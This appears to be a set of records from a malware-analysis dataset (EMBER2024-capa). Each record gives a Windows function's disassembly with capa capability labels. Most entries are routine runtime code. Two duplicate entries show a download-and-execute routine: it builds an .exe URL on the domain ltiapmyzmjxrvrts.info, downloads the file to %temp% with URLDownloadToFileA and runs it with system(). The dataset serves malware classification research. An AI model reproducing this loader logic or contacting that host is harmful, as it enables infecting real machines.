joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400689f0
Capabilities:
Get thread local storage value

Disassembly:
push rsi
push rbx
sub rsp, 0x28
call fcn.1400675c0
mov ecx, dword [0x140190fa8]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rbx, rax
test rax, rax
je 0x1400689a8
test byte [rbx + 0x40], 0xc
jne 0x14006895f
mov eax, dword [0x1401d6c48]
test eax, eax
jne 0x140068970
add rsp, 0x28
pop rbx
pop rsi
ret
lea rsi, [rbx + 0x38]
mov rcx, rsi
call fcn.1400667d0
movzx eax, byte [rbx + 0x40]
test al, 3
je 0x140068993
mov edx, dword [rbx + 0x44]
test dl, 1
je 0x140068993
mov ecx, dword [rbx + 0x20]
test ecx, ecx
jle 0x1400689bc
mov rcx, rsi
add rsp, 0x28
pop rbx
pop rsi
jmp fcn.140066aa0
call fcn.140067670
mov rbx, rax
test rax, rax
jne 0x14006894f
add rsp, 0x28
pop rbx
pop rsi
ret
and eax, 0xfffffff3
mov rcx, qword [rbx + 0x30]
and edx, 0xfffffffe
or eax, 4
mov dword [rbx + 0x44], edx
mov byte [rbx + 0x40], al
test rcx, rcx
je 0x1400689da
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rcx, rsi
call fcn.140066aa0
call fcn.140068850
nop
nop dword [rax + rax]
push rdi
push rsi
push rbx
sub rsp, 0x20
test rcx, rcx
je 0x140068a60
call fcn.140066560
mov rsi, rax
mov eax, 0xfffffffe
cmp rax, rsi
jb 0x140068a98
call fcn.1400675c0
mov ecx, dword [0x140190fa8]
mov edi, esi
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rbx, rax
test rax, rax
je 0x140068af0
test esi, esi
je 0x140068a76
call fcn.140068930
mov rcx, qword [rbx + 0x30]
test rcx, rcx
je 0x140068ad0
mov edx, edi
call fcn.140066630
call fcn.140068930
xor eax, eax
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
call fcn.1400675c0
mov ecx, dword [0x140190fa8]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
test rax, rax
je 0x140068ae0
call fcn.140068930
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.140068930
xor eax, eax
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
call fcn.1400675c0
mov ecx, dword [0x140190fa8]
mov edi, 0xffffffff
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rbx, rax
test rax, rax
jne 0x140068a35
call fcn.140067670
mov rbx, rax
jmp 0x140068a35
mov ecx, edi
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140068a4e
call fcn.140067670
jmp 0x140068a76
call fcn.140067670
mov rbx, rax
jmp 0x140068a31

Function at 0x140068b00
Capabilities:
Get thread local storage value

Disassembly:
push rsi
push rbx
sub rsp, 0x28
mov esi, ecx
call fcn.1400675c0
mov ecx, dword [0x140190fa8]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rbx, rax
test rax, rax
je 0x140068b70
test esi, esi
je 0x140068b50
call fcn.140068930
mov rcx, qword [rbx + 0x30]
test rcx, rcx
je 0x140068b80
mov edx, esi
call fcn.140066630
call fcn.140068930
xor eax, eax
add rsp, 0x28
pop rbx
pop rsi
ret
call fcn.140068930
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.140068930
xor eax, eax
add rsp, 0x28
pop rbx
pop rsi
ret
call fcn.140067670
mov rbx, rax
jmp 0x140068b21
mov ecx, esi
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140068b3a
Function at 0x1400ccf30
Capabilities:
Read file on windows

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
mov r12, qword [sym.imp.msvcrt.dll__errno]
mov rdi, rcx
mov rsi, rdx
mov ebx, r8d
mov rcx, qword [rdi]
call sub.msvcrt.dll__fileno_1
mov ecx, eax
mov r8d, ebx
mov rdx, rsi
call sub.msvcrt.dll__read
movsxd rbp, eax
cmp eax, 0xffffffff
je 0x1400ccf78
mov rax, rbp
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
call r12
cmp dword [rax], 4
je 0x1400ccf4a
mov rax, rbp
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
Function at 0x401209
Capabilities:
Download url
Execute command
Query environment variable
Receive data

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x60
mov eax, 0
mov dword [rbp - 4], eax
mov eax, 0x3e8
mov r10, rax
mov rcx, r10
call sub.kernel32.dll_Sleep
call fcn.004011be
mov qword [rbp - 0x10], rax
movabs rax, pe_nt_image_headers64
mov r11, rax
mov eax, 0x40
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_LocalAlloc
mov qword [rbp - 0x18], rax
movabs rax, 0x104
mov r11, rax
mov eax, 0x40
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_LocalAlloc
mov qword [rbp - 0x20], rax
movabs rax, 0x104
mov r11, rax
mov eax, 0x40
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_LocalAlloc
mov qword [rbp - 0x28], rax
mov rax, qword [rbp - 0x28]
cmp rax, 0
je 0x4012c2
mov rax, qword [rbp - 0x18]
cmp rax, 0
je 0x4012c2
jmp 0x4012cc
mov eax, 8
jmp 0x4014ae
mov rax, qword [rbp - 0x10]
mov r9, rax
lea rax, str.__temp___s.exe
mov r8, rax
movabs rax, 0x104
mov r11, rax
mov rax, qword [rbp - 0x28]
mov r10, rax
mov rcx, r10
mov rdx, r11
call section..text
mov eax, 0x104
mov r8, rax
mov rax, qword [rbp - 0x20]
mov r11, rax
mov rax, qword [rbp - 0x28]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_ExpandEnvironmentStringsA
mov rax, qword [rbp - 0x10]
mov qword [rsp + 0x28], rax
lea rax, str.ltiapmyzmjxrvrts.info
mov qword [rsp + 0x20], rax
mov rax, qword [rbp - 0x10]
mov r9, rax
lea rax, str.http:___s._s_v4__s.exe
mov r8, rax
movabs rax, pe_nt_image_headers64
mov r11, rax
mov rax, qword [rbp - 0x18]
mov r10, rax
mov rcx, r10
mov rdx, r11
call section..text
movabs rax, 0
mov qword [rsp + 0x20], rax
mov eax, 0
mov r9, rax
mov rax, qword [rbp - 0x20]
mov r8, rax
mov rax, qword [rbp - 0x18]
mov r11, rax
movabs rax, 0
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.urlmon.dll_URLDownloadToFileA
mov dword [rbp - 4], eax
mov eax, dword [rbp - 4]
mov r8, rax
mov rax, qword [rbp - 0x18]
mov r11, rax
lea rax, str._s_dowloaded._Result__ld_r_n
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
mov eax, 0x3e8
mov r10, rax
mov rcx, r10
call sub.kernel32.dll_Sleep
mov rax, qword [rbp - 0x20]
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_system
lea rax, str.433173843
mov r11, rax
lea rax, str.Random_string:__s_r_n
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
lea rax, [0x004020aa]
mov r11, rax
lea rax, str.d2_s__executing...
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
movabs rax, 0
mov r11, rax
movabs rax, 0
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.snmpapi.dll_SnmpUtilOidCpy
lea rax, [0x004020ac]
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_printf
lea rax, [0x004020c9]
mov r11, rax
lea rax, str.d9_s__executing...
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
mov eax, 0
mov r11, rax
movabs rax, 0
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.snmpapi.dll_SnmpUtilMemReAlloc
lea rax, str.Done._r_n
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_printf
mov eax, 0
leave
ret
Function at 0x401214
Capabilities:
Download url
Execute command
Query environment variable
Receive data

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x60
mov eax, 0
mov dword [rbp - 4], eax
mov eax, 0x3e8
mov r10, rax
mov rcx, r10
call sub.kernel32.dll_Sleep
call fcn.004011be
mov qword [rbp - 0x10], rax
movabs rax, pe_nt_image_headers64
mov r11, rax
mov eax, 0x40
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_LocalAlloc
mov qword [rbp - 0x18], rax
movabs rax, 0x104
mov r11, rax
mov eax, 0x40
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_LocalAlloc
mov qword [rbp - 0x20], rax
movabs rax, 0x104
mov r11, rax
mov eax, 0x40
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_LocalAlloc
mov qword [rbp - 0x28], rax
mov rax, qword [rbp - 0x28]
cmp rax, 0
je 0x4012c2
mov rax, qword [rbp - 0x18]
cmp rax, 0
je 0x4012c2
jmp 0x4012cc
mov eax, 8
jmp 0x4014ae
mov rax, qword [rbp - 0x10]
mov r9, rax
lea rax, str.__temp___s.exe
mov r8, rax
movabs rax, 0x104
mov r11, rax
mov rax, qword [rbp - 0x28]
mov r10, rax
mov rcx, r10
mov rdx, r11
call section..text
mov eax, 0x104
mov r8, rax
mov rax, qword [rbp - 0x20]
mov r11, rax
mov rax, qword [rbp - 0x28]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_ExpandEnvironmentStringsA
mov rax, qword [rbp - 0x10]
mov qword [rsp + 0x28], rax
lea rax, str.ltiapmyzmjxrvrts.info
mov qword [rsp + 0x20], rax
mov rax, qword [rbp - 0x10]
mov r9, rax
lea rax, str.http:___s._s_v4__s.exe
mov r8, rax
movabs rax, pe_nt_image_headers64
mov r11, rax
mov rax, qword [rbp - 0x18]
mov r10, rax
mov rcx, r10
mov rdx, r11
call section..text
movabs rax, 0
mov qword [rsp + 0x20], rax
mov eax, 0
mov r9, rax
mov rax, qword [rbp - 0x20]
mov r8, rax
mov rax, qword [rbp - 0x18]
mov r11, rax
movabs rax, 0
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.urlmon.dll_URLDownloadToFileA
mov dword [rbp - 4], eax
mov eax, dword [rbp - 4]
mov r8, rax
mov rax, qword [rbp - 0x18]
mov r11, rax
lea rax, str._s_dowloaded._Result__ld_r_n
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
mov eax, 0x3e8
mov r10, rax
mov rcx, r10
call sub.kernel32.dll_Sleep
mov rax, qword [rbp - 0x20]
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_system
lea rax, str.433173843
mov r11, rax
lea rax, str.Random_string:__s_r_n
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
lea rax, [0x004020aa]
mov r11, rax
lea rax, str.d2_s__executing...
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
movabs rax, 0
mov r11, rax
movabs rax, 0
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.snmpapi.dll_SnmpUtilOidCpy
lea rax, [0x004020ac]
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_printf
lea rax, [0x004020c9]
mov r11, rax
lea rax, str.d9_s__executing...
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
mov eax, 0
mov r11, rax
movabs rax, 0
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.snmpapi.dll_SnmpUtilMemReAlloc
lea rax, str.Done._r_n
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_printf
mov eax, 0
leave
ret
Function at 0x1400024f5
Capabilities:
Encode data using xor

Disassembly:
jmp 0x1400806e0
mov rax, rcx
neg rcx
test rax, 7
je 0x1400806fd
nop
mov dl, byte [rax]
inc rax
test dl, dl
je 0x140080758
test al, 7
jne 0x1400806f0
movabs r8, 0x7efefefefefefeff
movabs r11, 0x8101010101010100
mov rdx, qword [rax]
mov r9, r8
add rax, 8
add r9, rdx
not rdx
xor rdx, r9
and rdx, r11
je 0x140080711
mov rdx, qword [rax - 8]
test dl, dl
je 0x140080782
test dh, dh
je 0x14008077c
shr rdx, 0x10
test dl, dl
je 0x140080776
test dh, dh
je 0x140080770
shr rdx, 0x10
test dl, dl
je 0x14008076a
test dh, dh
je 0x140080764
shr edx, 0x10
test dl, dl
je 0x14008075e
test dh, dh
jne 0x140080711
lea rax, [rax + rcx - 1]
ret
lea rax, [rax + rcx - 2]
ret
lea rax, [rax + rcx - 3]
ret
lea rax, [rax + rcx - 4]
ret
lea rax, [rax + rcx - 5]
ret
lea rax, [rax + rcx - 6]
ret
lea rax, [rax + rcx - 7]
ret
lea rax, [rax + rcx - 8]
ret

Function at 0x1400027d9
Capabilities:
Get thread local storage value

Disassembly:
jmp 0x140027840
mov dword [rsp + 8], ecx
sub rsp, 0x48
call fcn.1400271c0
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
je 0x14002787f
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x30], rax
mov ecx, dword [rsp + 0x50]
mov rax, qword [rsp + 0x30]
call qword [0x140131020]
jmp 0x140027889
mov ecx, dword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
add rsp, 0x48
ret
Function at 0x140002928
Capabilities:
Query environment variable

Disassembly:
jmp 0x1400b1bf0
sub rsp, 0xb8
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov rdx, rax
lea rcx, [rsp + 0x40]
call fcn.1400b1a20
lea rcx, [rsp + 0x40]
call fcn.1400b1ba0
movzx eax, al
test eax, eax
jne 0x1400b1c38
mov qword [rsp + 0x70], 0
lea rcx, [rsp + 0x40]
call fcn.1400b1a50
mov rax, qword [rsp + 0x70]
jmp 0x1400b1e09
lea rcx, [rsp + 0x40]
call fcn.1400b1b70
mov qword [rsp + 0x60], rax
mov rcx, qword [rsp + 0x60]
call fcn.1400b1b10
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x78]
sub rcx, rax
mov rax, rcx
sar rax, 1
mov qword [rsp + 0x68], rax
lea rcx, [rsp + 0x40]
call fcn.1400b1b70
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, dword [rsp + 0x68]
mov r8, rax
xor edx, edx
xor ecx, ecx
call fcn.1400032ec
cdqe
mov qword [rsp + 0x58], rax
cmp qword [rsp + 0x58], 0
jne 0x1400b1cde
mov qword [rsp + 0x80], 0
lea rcx, [rsp + 0x40]
call fcn.1400b1a50
mov rax, qword [rsp + 0x80]
jmp 0x1400b1e09
mov r9d, 0x66
lea r8, str.minkernelcrtsucrt_srcdesktopcrtenvget_environment_from_os.cpp
mov edx, 2
mov rcx, qword [rsp + 0x58]
call fcn.140002702
mov rdx, rax
lea rcx, [rsp + 0x48]
call fcn.1400025ef
lea rcx, [rsp + 0x48]
call fcn.1400022ed
movzx eax, al
test eax, eax
jne 0x1400b1d45
mov qword [rsp + 0x88], 0
lea rcx, [rsp + 0x48]
call fcn.140001735
lea rcx, [rsp + 0x40]
call fcn.1400b1a50
mov rax, qword [rsp + 0x88]
jmp 0x1400b1e09
lea rcx, [rsp + 0x48]
call fcn.140002bcb
mov qword [rsp + 0x90], rax
lea rcx, [rsp + 0x40]
call fcn.1400b1b70
mov qword [rsp + 0x98], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x28], eax
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0x68]
mov r8, qword [rsp + 0x98]
xor edx, edx
xor ecx, ecx
call fcn.1400032ec
mov dword [rsp + 0x50], eax
cmp dword [rsp + 0x50], 0
jne 0x1400b1ddb
mov qword [rsp + 0xa0], 0
lea rcx, [rsp + 0x48]
call fcn.140001735
lea rcx, [rsp + 0x40]
call fcn.1400b1a50
mov rax, qword [rsp + 0xa0]
jmp 0x1400b1e09
lea rcx, [rsp + 0x48]
call fcn.1400025cc
mov qword [rsp + 0xa8], rax
lea rcx, [rsp + 0x48]
call fcn.140001735
lea rcx, [rsp + 0x40]
call fcn.1400b1a50
mov rax, qword [rsp + 0xa8]
add rsp, 0xb8
ret

Function at 0x140002937
Capabilities:
Allocate thread local storage

Disassembly:
jmp 0x140027770
mov qword [rsp + 8], rcx
sub rsp, 0x48
call fcn.140027140
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
je 0x1400277b1
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x30]
call qword [0x140131020]
jmp 0x1400277b7
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
add rsp, 0x48
ret
Function at 0x1400029af
Capabilities:
Get geographical location

Disassembly:
jmp 0x1400a7eb0
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0x58
call fcn.1400a6e20
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0x30], 0
je 0x1400a7f17
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x40], rax
movabs r10, 0xe375262d7cd44270
mov r9d, dword [rsp + 0x78]
mov r8, qword [rsp + 0x70]
mov edx, dword [rsp + 0x68]
mov rcx, qword [rsp + 0x60]
mov rax, qword [rsp + 0x40]
call qword [0x140131030]
jmp 0x1400a7f39
xor edx, edx
mov rcx, qword [rsp + 0x60]
call fcn.14000229d
mov r9d, dword [rsp + 0x78]
mov r8, qword [rsp + 0x70]
mov edx, dword [rsp + 0x68]
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
add rsp, 0x58
ret

Function at 0x1400029c3
Capabilities:
Terminate process

Disassembly:
jmp 0x14000c740
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret
Function at 0x140002b7b
Capabilities:
Print debug messages

Disassembly:
jmp 0x1400cbfd0
mov qword [rsp + 8], rcx
push rbp
sub rsp, 0x50
lea rbp, [rsp + 0x30]
mov rax, qword [section..data]
xor rax, rbp
mov qword [rbp + 0x18], rax
cmp qword [rbp + 0x30], 0
jne 0x1400cbff6
jmp 0x1400cc073
mov rcx, qword [rbp + 0x30]
call fcn.1400024f5
inc rax
mov qword [rbp], rax
cmp qword [rbp], 0
jne 0x1400cc00f
jmp 0x1400cc073
mov rax, qword [rbp]
shl rax, 1
mov rcx, rax
add rcx, 0xf
cmp rcx, rax
ja 0x1400cc02c
movabs rcx, 0xffffffffffffff0
and rcx, 0xfffffffffffffff0
mov rax, rcx
call fcn.14000187a
sub rsp, rax
lea rax, [rsp + 0x30]
mov qword [rbp + 8], rax
mov rax, qword [rbp]
dec rax
mov qword [rsp + 0x20], rax
mov r9, qword [rbp + 0x30]
mov r8, qword [rbp]
mov rdx, qword [rbp + 8]
lea rcx, [rbp + 0x10]
call fcn.140001c17
test eax, eax
jne 0x1400cc073
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
mov rcx, qword [rbp + 0x18]
xor rcx, rbp
call fcn.140002694
lea rsp, [rbp + 0x20]
pop rbp
ret

Function at 0x140002f04
Capabilities:
Get system information on windows

Disassembly:
jmp 0x1400086ba
push rbp
sub rsp, 0x1d0
lea rbp, [rsp + 0x20]
mov qword [rsp], rax
mov rax, 0x1cc
mov dword [rsp + rax], 0xcccccccc
sub rax, 4
cmp rax, 4
jg 0x1400086d2
mov rax, qword [rsp]
mov dword [rsp], 0xcccccccc
mov dword [rsp + 4], 0xcccccccc
mov qword [rbp + 0x88], rbx
mov rax, qword [section..data]
xor rax, rbp
mov qword [rbp + 0x1a8], rax
mov byte [rbp + 0x50], 0
call fcn.140002423
mov dword [rbp + 0x54], eax
lea rax, [rbp + 0x18]
mov rdx, qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rcx, rax
call rdx
lea rax, [0x14013006c]
mov edx, dword [rbp + 0x38]
mov rcx, rax
call fcn.14000261c
mov dword [rbp + 0x58], eax
mov eax, dword [rbp + 0x38]
cmp eax, 2
jae 0x140008791
mov eax, 0
mov dword [rbp + 0x68], eax
lea rax, [0x1400ee6f0]
mov rdx, rax
mov rcx, rbp
call fcn.140003657
mov rax, qword [rbp + 0x1a8]
mov qword [rbp + 0x1a8], 0
xor rax, rbp
mov rcx, rax
call fcn.140002694
mov eax, dword [rbp + 0x68]
mov rbx, qword [rbp + 0x88]
lea rsp, [rbp + 0x1b0]
pop rbp
ret
mov eax, 0
lea rdx, [rbp + 0x98]
mov ecx, 0x104
mov rbx, qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov dword [rbp + 0x78], ecx
mov rcx, rax
mov eax, dword [rbp + 0x78]
mov r8d, eax
call rbx
mov dword [rbp + 0x5c], eax
mov byte [rbp + 0x50], 1
mov eax, dword [rbp + 0x5c]
mov dword [rbp + 0x60], eax
mov rax, qword [sym.imp.USER32.dll_GetCursorPos]
mov qword [0x140121260], rax
mov eax, 1
lea rdx, [0x140003a62]
mov rcx, qword [sym.imp.KERNEL32.dll_AddVectoredExceptionHandler]
mov qword [rbp + 0x80], rcx
mov ecx, eax
mov rax, qword [rbp + 0x80]
call rax
mov qword [rbp + 0x70], rax
call fcn.1400031d4
lea rax, [rbp + 8]
mov rdx, qword [sym.imp.USER32.dll_GetCursorPos]
mov rcx, rax
call rdx
mov dword [rbp + 0x64], eax
mov eax, 0
mov dword [rbp + 0x6c], eax
lea rax, [0x1400ee6f0]
mov rdx, rax
mov rcx, rbp
call fcn.140003657
mov rax, qword [rbp + 0x1a8]
mov qword [rbp + 0x1a8], 0
xor rax, rbp
mov rcx, rax
call fcn.140002694
mov eax, dword [rbp + 0x6c]
mov rbx, qword [rbp + 0x88]
lea rsp, [rbp + 0x1b0]
pop rbp
ret
Function at 0x140002fd1
Capabilities:
Parse pe header

Disassembly:
jmp 0x14000f070
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x14000f090
xor al, al
jmp 0x14000f111
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x14000f0a3
xor al, al
jmp 0x14000f111
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14000f0cd
xor al, al
jmp 0x14000f111
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x14000f0e1
xor al, al
jmp 0x14000f111
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x14000f0f3
xor al, al
jmp 0x14000f111
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14000f10f
xor al, al
jmp 0x14000f111
mov al, 1
add rsp, 0x38
ret
Function at 0x14000345e
Capabilities:
Terminate process

Disassembly:
jmp 0x14009bc70
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x28
mov ecx, 0x17
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
test eax, eax
je 0x14009bc9e
mov ecx, 5
int 0x29
mov r8d, 1
mov edx, 0xc0000417
mov ecx, 2
call fcn.140003b2a
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000417
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x140003b89
Capabilities:
Print debug messages

Disassembly:
jmp 0x1400ab760
mov qword [rsp + 8], rcx
sub rsp, 0x28
mov rax, qword [rsp + 0x30]
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
add rsp, 0x28
ret
Function at 0x140003c29
Capabilities:
Set thread local storage value

Disassembly:
jmp 0x1400278b0
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
sub rsp, 0x48
call fcn.140027200
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
je 0x1400278f9
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x58]
mov ecx, dword [rsp + 0x50]
mov rax, qword [rsp + 0x30]
call qword [0x140131020]
jmp 0x140027908
mov rdx, qword [rsp + 0x58]
mov ecx, dword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
add rsp, 0x48
ret

Function at 0x140003cbf
Capabilities:
Set environment variable

Disassembly:
jmp 0x1400cee80
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0xb8
lea rcx, [rsp + 0x78]
call fcn.14000218f
lea rcx, [rsp + 0x48]
call fcn.14000218f
call fcn.1400028dd
mov r8d, eax
lea rdx, [rsp + 0x78]
mov rcx, qword [rsp + 0xc0]
call fcn.140001fd7
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 0
je 0x1400ceeef
mov dword [rsp + 0x24], 0
lea rcx, [rsp + 0x48]
call fcn.140002437
lea rcx, [rsp + 0x78]
call fcn.140002437
mov eax, dword [rsp + 0x24]
jmp 0x1400cef80
call fcn.1400028dd
mov r8d, eax
lea rdx, [rsp + 0x48]
mov rcx, qword [rsp + 0xc8]
call fcn.140001fd7
mov dword [rsp + 0x28], eax
cmp dword [rsp + 0x28], 0
je 0x1400cef36
mov dword [rsp + 0x2c], 0
lea rcx, [rsp + 0x48]
call fcn.140002437
lea rcx, [rsp + 0x78]
call fcn.140002437
mov eax, dword [rsp + 0x2c]
jmp 0x1400cef80
lea rcx, [rsp + 0x48]
call fcn.14000211c
mov qword [rsp + 0x38], rax
lea rcx, [rsp + 0x78]
call fcn.14000211c
mov qword [rsp + 0x40], rax
mov rdx, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov dword [rsp + 0x30], eax
lea rcx, [rsp + 0x48]
call fcn.140002437
lea rcx, [rsp + 0x78]
call fcn.140002437
mov eax, dword [rsp + 0x30]
add rsp, 0xb8
ret
Function at 0x1400086ba
Capabilities:
Get system information on windows

Disassembly:
jmp 0x1400086ba
push rbp
sub rsp, 0x1d0
lea rbp, [rsp + 0x20]
mov qword [rsp], rax
mov rax, 0x1cc
mov dword [rsp + rax], 0xcccccccc
sub rax, 4
cmp rax, 4
jg 0x1400086d2
mov rax, qword [rsp]
mov dword [rsp], 0xcccccccc
mov dword [rsp + 4], 0xcccccccc
mov qword [rbp + 0x88], rbx
mov rax, qword [section..data]
xor rax, rbp
mov qword [rbp + 0x1a8], rax
mov byte [rbp + 0x50], 0
call fcn.140002423
mov dword [rbp + 0x54], eax
lea rax, [rbp + 0x18]
mov rdx, qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rcx, rax
call rdx
lea rax, [0x14013006c]
mov edx, dword [rbp + 0x38]
mov rcx, rax
call fcn.14000261c
mov dword [rbp + 0x58], eax
mov eax, dword [rbp + 0x38]
cmp eax, 2
jae 0x140008791
mov eax, 0
mov dword [rbp + 0x68], eax
lea rax, [0x1400ee6f0]
mov rdx, rax
mov rcx, rbp
call fcn.140003657
mov rax, qword [rbp + 0x1a8]
mov qword [rbp + 0x1a8], 0
xor rax, rbp
mov rcx, rax
call fcn.140002694
mov eax, dword [rbp + 0x68]
mov rbx, qword [rbp + 0x88]
lea rsp, [rbp + 0x1b0]
pop rbp
ret
mov eax, 0
lea rdx, [rbp + 0x98]
mov ecx, 0x104
mov rbx, qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov dword [rbp + 0x78], ecx
mov rcx, rax
mov eax, dword [rbp + 0x78]
mov r8d, eax
call rbx
mov dword [rbp + 0x5c], eax
mov byte [rbp + 0x50], 1
mov eax, dword [rbp + 0x5c]
mov dword [rbp + 0x60], eax
mov rax, qword [sym.imp.USER32.dll_GetCursorPos]
mov qword [0x140121260], rax
mov eax, 1
lea rdx, [0x140003a62]
mov rcx, qword [sym.imp.KERNEL32.dll_AddVectoredExceptionHandler]
mov qword [rbp + 0x80], rcx
mov ecx, eax
mov rax, qword [rbp + 0x80]
call rax
mov qword [rbp + 0x70], rax
call fcn.1400031d4
lea rax, [rbp + 8]
mov rdx, qword [sym.imp.USER32.dll_GetCursorPos]
mov rcx, rax
call rdx
mov dword [rbp + 0x64], eax
mov eax, 0
mov dword [rbp + 0x6c], eax
lea rax, [0x1400ee6f0]
mov rdx, rax
mov rcx, rbp
call fcn.140003657
